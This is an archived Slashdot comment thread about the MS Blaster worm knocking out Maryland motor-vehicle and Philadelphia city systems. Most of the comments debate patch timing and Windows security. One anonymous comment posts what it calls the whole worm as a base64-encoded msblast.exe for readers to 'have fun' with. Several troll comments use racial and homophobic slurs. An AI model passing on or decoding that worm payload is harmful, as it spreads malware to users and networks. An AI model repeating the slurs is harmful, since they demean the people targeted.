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Windows Virus Takes Out Gov't Agencies in MD, PA

michael posted about 11 years ago | from the no-great-loss dept.

Windows 984

Zolzar writes "Looks like the Md. State Motor Vehicles Administration is the first government agency reporting a failure of their systems due to the recent virus." This is a more specific story about the outage. And the city of Philadelphia has suffered as well.

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GNAA EARLY POST SYSTEM (fuck Lunix+AMD+michael) (-1, Offtopic)

Anonymous Coward | about 11 years ago | (#6682097)

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Re:GNAA EARLY POST SYSTEM (fuck Lunix+AMD+michael) (-1, Offtopic)

Anonymous Coward | about 11 years ago | (#6682175)

hard manual gay nigger labor?

Hardly. All you lameass crackers are doing is synchronizing you clocks every few hours, and sitting around in your parents' basements hitting refresh on the fifth second of every minute(when new stories are posted) after the "subscribers can beat the rush and see it early" spiel pops up.

Too bad ... (-1, Troll)

Anonymous Coward | about 11 years ago | (#6682104)

Here's wishing you many more outages and headaches. I don't worry myself over MS worms, I'll let you figure out why.

oh no (-1, Redundant)

okasion (697237) | about 11 years ago | (#6682105)

skyne -i mean ms is upon us

Yes (1, Interesting)

Raven42rac (448205) | about 11 years ago | (#6682106)

Let's prove how insecure everyone already knows Windows is by shutting down government agencies, gee, I am sure the "haxor" would have been really proud of his/her self if he/she proved their point by porking say a hospital's computer system. What an asshole.

Re:Yes (5, Insightful)

rmohr02 (208447) | about 11 years ago | (#6682144)

How do you know this person was trying to get people to switch to Linux (or anything non-MS)? S/he could just be an ordinary asshole, without a point to prove.

So are you implying (5, Funny)

Gherald (682277) | about 11 years ago | (#6682225)

..they are an "ordinary asshole," as opposed to an asshole "trying to get people to switch to Linux" ?

Re:Yes (0)

idiotnot (302133) | about 11 years ago | (#6682159)

More than just government agencies have been affected by this.

But, yes, the guy and his message wreak of "asshole."

My network is secure from what I can tell -- but I don't admin the windows machines either....

Re:Yes (4, Insightful)

molarmass192 (608071) | about 11 years ago | (#6682188)

I would hope hospitals do not run critical systems a) on Microsoft software but especially b) on a LAN with any access to the internet. It's sheer lunacy if they do and could be used as grounds for a lawsuit. On the otherhand, they can do whatever they want with their accounting, cafeteria, and parking meter systems since a lawyer wouldn't pounce on that kind of ... wait ... I'm probably underestimating now.

Re:Yes (2, Interesting)

Narcissus (310552) | about 11 years ago | (#6682271)

You say that like the worm was aimed at government agencies, which is absolutely not true. That would be almost like saying "let's prove how powerful we are by taking out the town hall" just before dropping the bomb on Hiroshima...

OK, so maybe not, but I hope you get my point.

What I found interesting in the article was that now, apparently, only Windows machines are connected to the internet: "Millions of unprotected personal computers remain vulnerable to the worm, which can infect any machine connected to the Internet, experts said Tuesday".

Who are these experts saying this, or is it just another case of a reporter getting it wrong?

Has to be said... (0, Funny)

Anonymous Coward | about 11 years ago | (#6682109)

In Soviet Russia, government agencies take out you!

Re:Has to be said... (1)

ottothecow (600101) | about 11 years ago | (#6682171)

cmon...+5 funny, just because this one is true and not really a joke at all

Re:Has to be said... (0)

Anonymous Coward | about 11 years ago | (#6682260)

Perhaps we should add all posts containing both "In Soviet Russia," and "you!" to the lameness flter ;-)

Newsflash! (5, Funny)

ackthpt (218170) | about 11 years ago | (#6682111)

Government officials for the first time discover computers infected with Windows.

C'mon, this is getting so old ... but I guess that's the really pity, isn't it? Gives cities like Munich the last laugh.

Re:Newsflash! (0, Redundant)

Osrin (599427) | about 11 years ago | (#6682214)

You mean "city" like Munich?

Re:Newsflash! (1)

Gherald (682277) | about 11 years ago | (#6682283)

No, the plural is grammatically correct because he is allowing for the future possibility of other cities following suit...

roosting chickens (0, Offtopic)

0111 1110 (518466) | about 11 years ago | (#6682113)

Does this mean those chickens are finally coming home to roost?

I don't pity them (1, Interesting)

dodell (83471) | about 11 years ago | (#6682117)

The patches have been available for a LOOOOONG time now. They should have patched. They can't whine now. End of story.

Re:I don't pity them (2, Interesting)

Psx29 (538840) | about 11 years ago | (#6682160)

The patches have been available for a LOOOOONG time now. They should have patched. They can't whine now. End of story.

You know what really blows though? People who just bought a new computer and don't even have time to update the pc w/ the patch since it spreads so fast. Of course you could burn the patch on cd and update it manually but i doubt the average user would know how to download it like that anyway. (Most people are idiots though. My computers were all patched btw)

Re:I don't pity them (4, Insightful)

|<amikaze (155975) | about 11 years ago | (#6682172)

for a LOOOOONG time now

Three weeks isn't that long for a patch to be out. Many organizations actually test patches out on non-production machines before randomly installing software that Microsoft says is OK.

Re:I don't pity them (5, Insightful)

BWJones (18351) | about 11 years ago | (#6682202)

The patches have been available for a LOOOOONG time now.

What, three or four weeks? Here is the problem with Microsoft patches. Folks have been screwed more than once due to poor testing on Microsoft's part when the patches completely screw up your system forcing you to spend hours rolling things back to where they were or even completely reinstalling Windows. So, many IT folks are understandibly reluctant to employ these "patches" before adequate testing on their own systems. This may take a number of weeks.

People should start taking note (4, Insightful)

Anonymous Coward | about 11 years ago | (#6682120)

The person who created this worm did so to show that Microsoft's software was insecure. Their methods are bad, but they've shown that no matter how good WinXP sounds compared with Win9.x, it is still made by Microsoft. If you don't want this kind of rubbish, don't use Microsoft.

Re:People should start taking note (1, Troll)

EverStoned (620906) | about 11 years ago | (#6682151)

Don't try and defend this with Microsoft-bashing. What he's done is illegal and dangerous. Mod me down, fascists.

Re:People should start taking note (3, Insightful)

Anonymous Coward | about 11 years ago | (#6682209)

blah blah, if anything they are showing how many people use MS products.

There could be this kind of problem w/Linux but no one would ever know because a) Linux/Unix users are more clueful than Windows users and b) there are FAR fewer Linux/Unix machines out there.

Blah blah, don't use MS, blah blah. That's just not an option for 90% of the world.

Want to see the code? (5, Informative)

westyvw (653833) | about 11 years ago | (#6682124)

DSL reports has a security forum that has been taking this sucker apart and giving us the code:

have a look:,7649146~r oo t=security,1~mode=flat

Re:Want to see the code? (1)

rbullo (625328) | about 11 years ago | (#6682189)

You promised us source, bitch! Now deliver!

TOAST!!!! (-1, Offtopic)

Anonymous Coward | about 11 years ago | (#6682127)

toaster,toaster toaser, do you have toast in you yet i think []
so!!!!!!!!!!!!!!!!!!!Im not a toaster!!!!!!!!!!And one more
thing........YOUR A TOASER!!!!!!!!!!!!!! AND A COOKIE WITH MILK SOAGE
MILK!!!!!!!!!!AND A BUTT WITH POOP IN IT!!!!!!!!!!!!!!!!


Anonymous Coward | about 11 years ago | (#6682128)

microsoft rules linux sucks get over it gay linux faggots


Black Parrot (19622) | about 11 years ago | (#6682215)

> microsoft rules linux sucks get over it gay linux faggots

Yeah, Linuxers are just jealous because this software won't run on their systems.

very unpopular three-letter govnt agency... (0)

Anonymous Coward | about 11 years ago | (#6682129)

..has been hit too.

This isn't all MS's fault (1)

bersl2 (689221) | about 11 years ago | (#6682130)

You would think that somebody at the MTA would know about the patch, but no.

You still need a competent person to maintain the machines, no matter what software you go with.

Re:This isn't all MS's fault (-1, Troll)

Kenja (541830) | about 11 years ago | (#6682208)

Thats a lie and you know it. Linux takes care of itself, it even does my homework and makes friends for me. Just ask the author of Goats [] , he'll tell you.

Re:This isn't all MS's fault (0)

Anonymous Coward | about 11 years ago | (#6682252)

Except from "The Rime of the Neophyte Slashdotter"

Mod points, mod points, everywhere,
Nor any one for me.

Best news all day (5, Funny)

raider_red (156642) | about 11 years ago | (#6682131)

Bringing down the DMV may be the best use anyone's ever found for a virus.

Re: Best news all day (5, Funny)

Black Parrot (19622) | about 11 years ago | (#6682191)

> Bringing down the DMV may be the best use anyone's ever found for a virus.

Yeah, everyone's always complaining that the lines aren't slow enough already.

Re:Best news all day (0)

Anonymous Coward | about 11 years ago | (#6682258)

The question is, will anyone even notice?

We Got Hit (5, Funny)

Snoopy77 (229731) | about 11 years ago | (#6682132)

We discovered we got hit when our Sonicwall connections hit the limit every 10 minutes. It took us two tries to clean it all up.

And who was it who brought it into the office? The CEO. He thought he had a virus but connected to the network anyway. Mod that funny if you will but try being part of our network support team.

Re: We Got Hit (1)

Black Parrot (19622) | about 11 years ago | (#6682173)

> And who was it who brought it into the office? The CEO. He thought he had a virus but connected to the network anyway. Mod that funny if you will but try being part of our network support team.

You sound annoyed... did you draw the short stick for who gets to tell him?

Re:We Got Hit (4, Funny)

Kenja (541830) | about 11 years ago | (#6682251)

I keep 13 inches of sharp folded steel in a glass case above my desk with a sign that reads "break in the event of user error". I never have those kind of problems.

Re:We Got Hit (4, Interesting)

PetoskeyGuy (648788) | about 11 years ago | (#6682294)

Preaching to the choir.

I remember the Klez virus kept infecting our system. I put antivirus on all the machines and wiped and cleaned them several times. Still my boss had his computer go down several times and started to suggest I was incompetent.

Turns out he got a fake email on his AOL account with the virus attached from a potential client who he has been trying to sell to for a long time. He loaded the virus from his laptop and ignored and disabled the antivirus warnings desperately trying to see what this guy was sending him. For those that don't know, Klez emails itself to any email addresses it can find.

Problem finally solved. I was not mention this matter to anyone else. Yeah Right. :)

Windows rules..... (2, Funny)

scottp (129048) | about 11 years ago | (#6682133)

Good ole, trustworthy, reliable, secure, best OS, can it still remain on 90%+ of PC's? That should be on unsolved mysteries.....

Thanks, Microsoft! (5, Insightful)

imag0 (605684) | about 11 years ago | (#6682134)

Looks like viruses like this may help speed adoption on alternate operating systems (like linux, OSX, et. al) on the desktop quicker than a dozen ESR's with geek infantry in tow.

Spoke with both sides of the family this evening, going on about how messed up their computers were acting and all they had to go through to get it patched up. I listened and informed them how well my iBook and the relative merits of UN*X and they listened...

Thanks again, Bill!

Re:Thanks, Microsoft! (0)

Anonymous Coward | about 11 years ago | (#6682235)

Do you honestly think that Windows would be the target of an attack like this if Linux held 90% of the desktops out there?

Linux has it's own fair share of exploits, except they're not used by script kiddies because there is no glory.

Re:Thanks, Microsoft! (4, Informative)

Juanvaldes (544895) | about 11 years ago | (#6682237)

and how many switched after Code Red? ILoveYou? the countless others? Those who got inffected either had someone take care of it or just reinstalled the system. This is what they are trained to do and expect it with computers.

bwahaha (0)

Anonymous Coward | about 11 years ago | (#6682135)

Woo hoo! Maybe they'll think more about the systems they run. Same old story, same systems. I'm turning my pager off this week, since I'm on vacation. Besides, I'm the 'nix guy... :)

A good arguement for... (4, Insightful)

green pizza (159161) | about 11 years ago | (#6682137)

... Windows Update once every couple weeks.

I know there'll be dozens of "they shouldda been using un*x" posts, but in defense of Windows, there has been a patch for this on Windows Update since July 16. Even I had enough time to test the patch on a non-production system between then and now. Every platform gets its 'sploits throughout its lifetime, it's just a matter of learning about them and applying the proper patches in a resonable amount of time... especially on mission-critical machines. (DMV computers, etc...)

Re:A good arguement for... (4, Interesting)

MeanMF (631837) | about 11 years ago | (#6682206)

I know there'll be dozens of "they shouldda been using un*x" posts, but in defense of Windows, there has been a patch for this on Windows Update since July 16. Even I had enough time to test the patch on a non-production system between then and now. Every platform gets its 'sploits throughout its lifetime, it's just a matter of learning about them and applying the proper patches in a resonable amount of time... especially on mission-critical machines. (DMV computers, etc...)

Yeah, but it's not like the Department of Homeland Security put out a notice telling people they should install the patch. Oh wait, yes they did [] . Maybe that's why a group of us worked late on Friday 8/1 making sure the patch was installed on all of our servers and workstations.

Re: A good arguement for... (1)

Black Parrot (19622) | about 11 years ago | (#6682264)

> I know there'll be dozens of "they shouldda been using un*x" posts, but in defense of Windows, there has been a patch for this on Windows Update since July 16.

IOW, "they shouldda been using... sysadmins".

I wish I had a long-term plot of how many minutes/year the prime time news spends telling people to apply security patches and update their anti-virus database. I wonder if this will eventually become a regular segment, like the weather, sports, traffic, etc.

Worm (5, Insightful)

aligma (682744) | about 11 years ago | (#6682139)

Are you, by any chance talking about MS Blaster Worm?
Its good for us to keep using the correct terminology ... Maybe then the media will get the idea too!

Ok, time to get modded down. :/

The popular media... (1)

Nick Driver (238034) | about 11 years ago | (#6682243)

... has already been referring to it as the Windows worm (or virus).

Re:Worm (1)

perotbot (632237) | about 11 years ago | (#6682245)

lovesan is the mcafee name for it, based on the the "We love you SAN" comment in the code. Patch early, patch often, panic never

3M Plant Shut Down (1, Interesting)

Anonymous Coward | about 11 years ago | (#6682141)

A radio news report tonight said that a 3M plant in Minnesota shut down Tuesday due to a computer worm. Somebody's trying to run a plant dependent upon Microsoft...

Re:3M Plant Shut Down (4, Informative)

green pizza (159161) | about 11 years ago | (#6682231)

Somebody's trying to run a plant dependent upon Microsoft...

I suggest you take some factory tours, the majority of modern factories/plants use Windows for their control software. Unless the end product is something very critical or very expensive, plant designers and control software writers tend to stick with well documented comodity hardware (Win32).

Re:3M Plant Shut Down (1)

Vinson Massif (88315) | about 11 years ago | (#6682240)

Heh, get used to that. More distributed control systems (DCS) are running on MS cuz that's what the customer wants.

Idiots. Both sides.

Re:3M Plant Shut Down (0)

Anonymous Coward | about 11 years ago | (#6682250)

At least one of them is the 3M plant in Hutchinson, MN.

I bet lots of Gov't and Biz are keeping mum. (1)

caferace (442) | about 11 years ago | (#6682143)

From SFGate [] :

"In Sweden, Internet provider TeliaSonera said about 20,000 of its customers were affected after the infection clogged 40 servers handling Internet traffic.

Among companies affected in Germany was automaker BMW, said spokesman Eckhard Vannieck. He said the problems did not affect production."

Really makes you wonder who ain't sayin...

Re:I bet lots of Gov't and Biz are keeping mum. (1)

quarkscat (697644) | about 11 years ago | (#6682238)

Regarding BMW, BTW. The top of the line BMW vehicle (745) uses a network of CPUs for everything from climate control to engine function to suspension. Their OS of choice: MS WinCE ! Brings new meaning to the term BSOD !

Patch! (5, Insightful)

focitrixilous P (690813) | about 11 years ago | (#6682146)

I can forgive stupid home users, but shouldn't mission critical things like these patch every now and then? The hype surrounding this has been huge, and if you run unpatched microsoft stuff, well, good luck fixing it now. It will take a long time, but at least this worm can be fixed with little damage. Maybe this worm will get people to pay attention to security, but then again people said that about the last dozen MS worms.


This sucks... (Engagement ring) (-1, Offtopic)

voxel (70407) | about 11 years ago | (#6682147)

I just spent $2400 on a diamond for my future wifes engagement ring.

Does this mean I should take it back and wait for the $100 version of the same quality/clarity/weight/cut ?

Ugh... :P.

Re:This sucks... (Engagement ring) (2, Insightful)

wavecoder (695422) | about 11 years ago | (#6682207)

First off, congratulations! Secondly, though, that's just the point: it is a $100 rock. This is what happens when somebody gets a monopoly - De Beers undersold everyone, then jacked the prices to the moon, and nobody bothered to try to stop them until they owned the market. In fact, most of their major execs can't set foot in the U.S. without getting arrested for racketeering, anti-trust violations of all stripes, etc...

Power corrupts; absolute power corrupts absolutely.

so what (-1, Flamebait)

Anonymous Coward | about 11 years ago | (#6682148)

who cares? If Linux were on 95% of the computers out there, I'm sure we could write killer viruses for it too. Anyway, the fix has been out for a long time. The problem is lazy sysadmins not bad software.

Re:so what (0)

Anonymous Coward | about 11 years ago | (#6682273)

No its bad software compounded by lazy sysadmins...

Judgement Day! (0)

DerangedYeti (691087) | about 11 years ago | (#6682149)

Sounds like we might need to get Skynet onto this one!

You'd think they know computers aren't invincible (0)

Anonymous Coward | about 11 years ago | (#6682150)

...after NASA Linux systems where taken down by Ramen, a worm based on an exploit patched 5 months before (the vulnerability used by Blaster was patched 1 month ago)

" the recent virus." (1)

randomdef (663725) | about 11 years ago | (#6682153)

what recent virus? we all don't live and die by the newest norton update, someone tell em what the hell "the recent virus" is.

Thanks for nothing. (-1, Troll)

Chess_the_cat (653159) | about 11 years ago | (#6682154)

When they find the Linux users who did this I hope they lock them up and throw away the key. There must be better ways to vent your anger towards Microsoft.

Re:Thanks for nothing. (5, Funny)

Gherald (682277) | about 11 years ago | (#6682186)

When they find the Linux users who did this I hope they lock them up and throw away the key.

So all someone has to do is dislike Gates and Microsoft, write an Windows virus, and they are automatically considered a Linux user?


Their fault. (2, Informative)

man_ls (248470) | about 11 years ago | (#6682155)

Their fault-the patch was released over a month ago, before there were any known exploits for it.

It's allways so much fuzz (2, Interesting)

The Old Burke (679901) | about 11 years ago | (#6682157)

when a new Microsoft worm or exploit is out. But after the initiall updatestuff it all settles. The latest RPC vulnerability the Blaster is already slowing down according to a Cnet.
And I guess that eveyone that have some firewalls and uses common sense allways survive these attacks. At my companys network we use Win 98 instead, so we were able to escape this worm. Actually it looks like all the new exploit are on these new Win2000 and XP versions, so to me Win 98 or Win Me looks like a much better choice in the security area.

Here's the virus (0, Troll)

Anonymous Coward | about 11 years ago | (#6682161)

Here's the entire virus, base64 encoded. Have fun. It floods starting saturday.

begin-base64 600 msblast.exe
Ff/b3bkGiSUZIItYL3AMg/7/dCA7dH/Z3P8kJH QajTR2iwyzVB dIfLMEAHXX
d/+///9Uswjr0WSPBTWDxAxfXlvDVYnlXFVqAL 77724BaJJa/3 UI6AEAE0Bd
HInsXcP8e/v/7iCD7Agji10Mi0UIozBAJYkdNA V7az+290CudX KJRfgZrEX8
oxb7d/vtjQ2JQ/yLcy17CJFijQx2ge7W/mWPdD pWVY1rEIYLXV 5NW7bW/QnA
dCh4MSVTcpF2BB33u2WsVgwcCDaLBI+LQwwwvw v/XAglDzSP66 ws63FHav92
3dthKgy8xwUQeguOagtz2M3sQBQYX3UhGQi37w 7ICAe4OwDrJ4 P4oSpQLhv2
ClAkHg0Aug8h5pQoD4M9LBoAz97ewz7ooQ5y/+ BYENdkod0Mh6 FdNZ5oHBtV
sxCEZppQqkkQI7j/f4ll6FDZPCRmgQwkAAPZLC Rjfyhee/Z9Li QEIH4ToIkU
z7YX2QUkFkgUHBJQ1/H3bzcYMcmJTfxQKrjJwx GjZYc3x9/Dfo HsrDpsMfZq
ke+OubtQXz8AD2ZqXUhlAgAAgJ4d3z+IajJoPM YBBElI+L7ZB3 uUB3xoQ0gd
DUzhxx7+BAQ9t/kHEhLUjYVg6GvYuXb/UFFSEB H82i8ULcglDw EBGkz37Y1h
ESLI/+kLBWxoBCexN+Y2+TBpZxC328ZjW8MSRK 8MGk5HE1jrkf v7O/slLDFA
DTQhFDBZBQy5/pV7Ye6/mff5iddHiT0UShUVOD U+07mSQaSG/I TkuU/YOwEP
hPAAFMyJhVwL2D6ZrXcZ1kM5AAvKB9k2/kUEi0 CSMCxUE+hbYf ve/7ULN3ju
QCtJvZzs/T1XfSRoPhBaFEjeex+2WDmsoyiRIf SFFfLIHBAw/E p4c6U8ijy9
FH4fCA/f9+QUKRUjoWWjD6EK2zh8UqMGF0Y1D7 fUfoP6DH0CID k0KNZz9iFn
HQoHfgobAlPySngJ9nU8fCgxELDwWwmPnGoD5v QYrY+3Njzmmg koVLyULN/4
GPA6Lx/2byMDWfwPfw+NffBXDgh+Fvtmxx40L8 EeOBtwBHqp9b 0Hc+v5PwhA
zMnCEMnN5E4lLFWT6zhAOPzQujICAczAoyRgQf ij+x5FGWqRhd j9gX/b2K70
d2bHDwIbRTBUicKaOXf3ZomV2hGDpdwFMjAzO7 7nX0oj2FOF9j rZRrpm+BAJ
jVAG6CbsGN25BKHU+ziETqd334gBD4y8LzHbaD e/K9B87PqJ0L KJxqueQ5a7
uaw3i/yJ2CWKg0yn5rIV/lYH1Bcog9zRAP7cxM eDbJO9xscEz5 CPV8T8g/Td
haiLfCJohAORgaYbv7//snMLVg3EWTrrBdM6Fu zGBkgbdA4TEQ WIzrrMXLk4
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Why do we put up with this? (2, Insightful)

wavecoder (695422) | about 11 years ago | (#6682166)

Why does the American public - much less the American government - let itself be duped into using insecure, closed-source, and only half-functional software? It's not the money - the government has to stinking pay Bill Gates and crew for the privilege of using his junk. It's not the jobs - there would be other jobs out there (with RedHat, or Apple, or any of a dozen other OS makers) without MS. In fact, there would probably be more IT jobs than there are...

So why do we put up with it? Please, I'd love to hear ideas. I don't know of much of anything that the average bureaucrat, or military office, or CIA spook, or DOT drivers-license-tester can do on Windows/Office systems, that couldn't be done under Linux or FreeBSD. I really would love to know why, when Germany, India, and who knows how many other countries have ditched closed-source software for OSS, we can't do the same...

Any thoughts?

Re:Why do we put up with this? (0)

Anonymous Coward | about 11 years ago | (#6682286)

Because Bill Gates has been extremely successful. Many people in the US view him as a genius because of his contributions in bringing computers to the average user.

I could see that if I was an adult during the intial success of Microsoft, I would trust Bill Gates over any "hippie" Linux user.

I give this trust another 5 years.

Re:Why do we put up with this? (0)

Anonymous Coward | about 11 years ago | (#6682291)

Because Germany, India and who knows how many other countries haven't ditched closed-source software in favor of anything yet... some individual towns have piloted programs to migrate to Linux (e.g. Munich, Barcelona) and some nations (Peru, India) have decided OSS is worthy of consideration to replace their existing systems, but no large government entity, anywhere has yet migrated entirely to open-source software and completed a TCO study showing that they've saved money.

Maybe once a few of these pilots and roll-outs finish up and some of those evaluations make their way into the public eye, we'll see a lot more consideration of OSS alternatives in the public sector.

Philadelphia computer system. (2, Informative)

apc (193970) | about 11 years ago | (#6682167)

Interesting. I had noticed when I stopped by Municipal Court to schedule a trial date that the computers were down. I was told by an employee that it was due to the power outage [] , a comment that didn't make sense considering that I knew for a fact that the server farm was a floor above us...

As pissed as I am at the asshole who wrote the worm (it took nearly half an hour to schedule something that normally takes 2 minutes-- thank "Bob" that I was in Municipal Court, which is only starting to modernize from an old IBM mainframe setup, rather than in Common Pleas or Federal District Court, which are totally computerized-- and in he case of Common Pleas at least, running on Windows), this is, of course, another example of why governments, in the name of security, should go to more open-source solutions.

Re:Philadelphia computer system. (2, Informative)

Windcatcher (566458) | about 11 years ago | (#6682268)

There was also a power outage in Center City. I just saw the report on Channel 6. Apparently a water pipe blew in the PECO substation and much of the area was without power until sometime tonight.

When are people going to wake up? (4, Informative)

BWJones (18351) | about 11 years ago | (#6682169)

My wife's entire 1500 plus employee company was instructed today to not turn on their computers until IT came around to look at them. I guess a few computers were infected with this worm and they wanted to ensure things were taken care of. So, here's the deal: I figure that today alone, due to lost productivity, salaries, benefits etc.... this company lost $250k from this worm. So, I ask: When are companies going to wake up and realize that the fundamental foundations that Windows are built on are flawed when it comes to security? There have got to be studies out there examining total cost of ownership of the various platforms. For instance, I spent a couple days of my time updating our remaining Wintel systems to guard against this virus and am soooo happy 95% of my work is done on OS X.

Funny (1)

swat_r2 (586705) | about 11 years ago | (#6682170)

I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!

I read that this morning and smiled, at least these hidden easter egg messages have a bit of humour to them :)

Of course I wasn't so happy when the workload resumed and I was left with a nice deal to clean up.. but.. thanks for the couple hours of coffee break?

What make Windows 2003 so secure? (4, Interesting)

Da Penguin (122065) | about 11 years ago | (#6682174)

I keep hearing that windows 2k3 is the most secure windows, but (and I'm truly asking), what makes people say so? I'm using it at home. Evidence for: logs changes, logs every reboot and needs you to enter a reason, insists that every site (including google) has a security issue, comes with almost everything disabled, doesn't let users use shockwave et al without permission, probably some bug fixes. Evidence against: see the article above. At least it informed me afterwards that the computer unexpectedly rebooted . . .

PS: Please don't mod me for flaming, I'm really wondering what inner changes there are, other than the ones above that give the impression of security.

Re:What make Windows 2003 so secure? (2)

MeanMF (631837) | about 11 years ago | (#6682244)

I'm really wondering what inner changes there are, other than the ones above that give the impression of security

Besides the default-lockdown mode, they supposedly did a review of the entire operating system looking potential security holes like buffer overruns. There's an awful lot of code in Windows though, and it's hard to know exactly how thorough that review was - especially since they missed this one. Time will tell.

Re:What make Windows 2003 so secure? (4, Interesting)

westyvw (653833) | about 11 years ago | (#6682257)

Well everything off is a good idea for a server. YOU should make the choices to turn anything on, and YOU should know why you did. The port this worm attacked has no justification for the home user. This is the same port that annoys most users of Win XP, but they dont know it. The only reason MS should have allowed this to be turned on was for administration on a LOCAL network.

By the way I can make win 2003 server crash in minutes if I am allowed to be a user on it. Shame, its not that much better, but leaving ports closed is a good idea, and a long idea comming.

Re:What make Windows 2003 so secure? (3, Interesting)

Anonymous Coward | about 11 years ago | (#6682267)

It installs with just about everything turned off, instead of turned on.

It is also the first version of Windows that had teams of programmers whose sole purpose is to audit code and check it for security problems. Sweeps for coding patterns that lend themselves to exploitable bugs were done. Utilities were written to help flag suspicious bits of code. And so on ... time will tell how effective the changes were.

EA Vancouver went down ... (2, Interesting)

doublesix (590400) | about 11 years ago | (#6682176)

A friend who works at blackbox told me "hundreds" of computers shut themselves down at EA Studios out in Burnaby this morning ... HA HA

Good thing that no serious company uses Windows (1, Troll)

Anonymous Coward | about 11 years ago | (#6682181)

I mean... who on Earth would expose a Windows machine to the internet...

Troll or not... it seems to be just common sense with 8 years of data to back it up.

Monoculture (4, Insightful)

the eric conspiracy (20178) | about 11 years ago | (#6682182)

One of the downsides to having just one type of OS is that it makes you very vulnerable to this sort of thing.

As far as blaming people who haven't patched their computer, I can't see it. This thing is hitting home dialup users fer crying out loud - my friend had to drive over to his dad's house to disinfect a machine. You can't expect everybody's grandmother to behave as a professional sysadmin.

Re:Monoculture (0)

Anonymous Coward | about 11 years ago | (#6682259)

Even if you're not an admin, Windows XP by default pops up little notices saying there are updates, and installing them is literally two mouse clicks away. Yet people still don't do it.

I'm all for Microsoft making the DEFAULT behaviour to be to download and install the patches without updating. If you're the sort of person that would object to that, then you're the sort of person that can figure out how to turn it off.

the enemy of my enemy is my friend etc... (1, Interesting)

kgbspy (696931) | about 11 years ago | (#6682205)

If this was a "pro-linux" motivated attack, then surely this troublemaker's attentions would've been best directed at rather than, no?

When will they learn? (2, Insightful)

devphaeton (695736) | about 11 years ago | (#6682216)

Seriously. Governments and businesses. Every time a pimply faced half-hack writes a new $krYp+ to take down the stand-up comedy act that is Windows Security....

"Blame the admins for not patching when patches were available"....

This has some merit, yes. *BUT* has anyone ever adminned a server that must be up 24/7? If you've got a whole room full of them, you just don't have the time to go in and manually apply patches. Yet, automatic Updates pose another problem: You probably just can't have a MSSQL server doing unexpected reboots all the time. You can lose data, what if the patch breaks something? etc.

And even after all the patches and fixes (we're sidestepping the Microsoft "patch one hole, open 3 others" issue for the moment), stuff still happens. Servers get knocked over. Look how many times it's happened in the last 12 months.

For home users, a disabled computer is a bummer, sure. But for businesses and governments, when will they simply decide that "This Just Cannot Happen Anymore."? Seriously. We're talking lives, national security, and huge amounts of money at stake here.

The alternatives are out there. I know, you know, and /. knows.

We all know that Linux, Solaris, *BSD and the like are not 100% perfect /either/... We also know that *any* poorly adminned box is a deck of cards, but C'mon! look at the vast canyon of difference, just in how installations come out of the box!

When will they learn? Seriously! I think it would make better business sense (read: make more money in the long run) to look away from Microsoft and look towards other Free(software) and Commercial products. /me gets off soapbox again.

Fwiw, when i booted up my WintendoXP box to download the patch, i got nailed before i got to type a URL into the browser!!


It took out more than MD and PA agencies (1, Informative)

Anonymous Coward | about 11 years ago | (#6682222)

I work in IT for the Department of Transportation in TX. Today, around noon, we suffered state-wide outages. It would have been easy to prevent- we have the tools to automatically deploy patched and updates to every computer on our network. Unfortunately, the people who have the necessary privileges to use do so, didn't.

My section was not affected, because I took it upon myself to patch the computers I was responsible for. Hundreds of people in my building were unable to use their computers for half the day. My section had problems because the servers we rely on were infected.

I hope (in vain) that 'little' problems like this will teach system administrators to keep their machines up to date.

You Are Alive (-1, Offtopic)

Anonymous Coward | about 11 years ago | (#6682223)

You Are Alive
By Universal Conciousness
Consciousness, VA - You are alive. Wake up. Life is all around you. You've been put in a trance. You can come out of it. You can remember who you really are.

Stop sleeping. It's long past time to wake up. You are an entire self aware universe. You are a god. You are not the small thing that you have been taught to be.

Throw off their false teachings. Pull the blinders from the eyes. You wear their chains willingly. You can take them off. You are free, the instant you choose to be.

Virus (1)

Hatechall (541378) | about 11 years ago | (#6682224)

Here at Drexel University our lab computers have been effected, and we couldn't access our data properly. The funny thing is that our president (Pappy) today was right outside with three segways touting out technological proweress, rolling along to Born to be Wild blaring in the background. All the tech in the world doens't matter if you don't use it right.

*BSD is dying (-1, Offtopic)

Anonymous Coward | about 11 years ago | (#6682227)

What We Can Learn From BSD
By Chinese Karma Whore [] , Version 1.0

Everyone knows about BSD's failure and imminent demise. As we pore over the history of BSD, we'll uncover a story of fatal mistakes, poor priorities, and personal rivalry, and we'll learn what mistakes to avoid so as to save Linux from a similarly grisly fate.

Let's not be overly morbid and give BSD credit for its early successes. In the 1970s, Ken Thompson and Bill Joy both made significant contributions to the computing world on the BSD platform. In the 80s, DARPA saw BSD as the premiere open platform, and, after initial successes with the 4.1BSD product, gave the BSD company a 2 year contract.

These early triumphs would soon be forgotten in a series of internal conflicts that would mar BSD's progress. In 1992, AT&T filed suit against Berkeley Software, claiming that proprietary code agreements had been haphazardly violated. In the same year, BSD filed countersuit, reciprocating bad intentions and fueling internal rivalry. While AT&T and Berkeley Software lawyers battled in court, lead developers of various BSD distributions quarreled on Usenet. In 1995, Theo de Raadt, one of the founders of the NetBSD project, formed his own rival distribution, OpenBSD, as the result of a quarrel that he documents [] on his website. Mr. de Raadt's stubborn arrogance was later seen in his clash with Darren Reed, which resulted in the expulsion of IPF from the OpenBSD distribution.

As personal rivalries took precedence over a quality product, BSD's codebase became worse and worse. As we all know, incompatibilities between each BSD distribution make code sharing an arduous task. Research conducted at MIT [] found BSD's filesystem implementation to be "very poorly performing." Even BSD's acclaimed TCP/IP stack has lagged behind, according to this study [] .

Problems with BSD's codebase were compounded by fundamental flaws in the BSD design approach. As argued by Eric Raymond in his watershed essay, The Cathedral and the Bazaar [] , rapid, decentralized development models are inherently superior to slow, centralized ones in software development. BSD developers never heeded Mr. Raymond's lesson and insisted that centralized models lead to 'cleaner code.' Don't believe their hype - BSD's development model has significantly impaired its progress. Any achievements that BSD managed to make were nullified by the BSD license, which allows corporations and coders alike to reap profits without reciprocating the goodwill of open-source. Fortunately, Linux is not prone to this exploitation, as it is licensed under the GPL.

The failure of BSD culminated in the resignation of Jordan Hubbard and Michael Smith from the FreeBSD core team. They both believed that FreeBSD had long lost its earlier vitality. Like an empire in decline, BSD had become bureaucratic and stagnant. As Linux gains market share and as BSD sinks deeper into the mire of decay, their parting addresses will resound as fitting eulogies to BSD's demise.

This Is All Over (1)

Farley Mullet (604326) | about 11 years ago | (#6682230)

A friend of mine spent the entire afternoon patching machines in his department at the university where he works, because their IT guy is on vacation this week. And the entire finance department was sent home for the afternoon while their system was patched up.

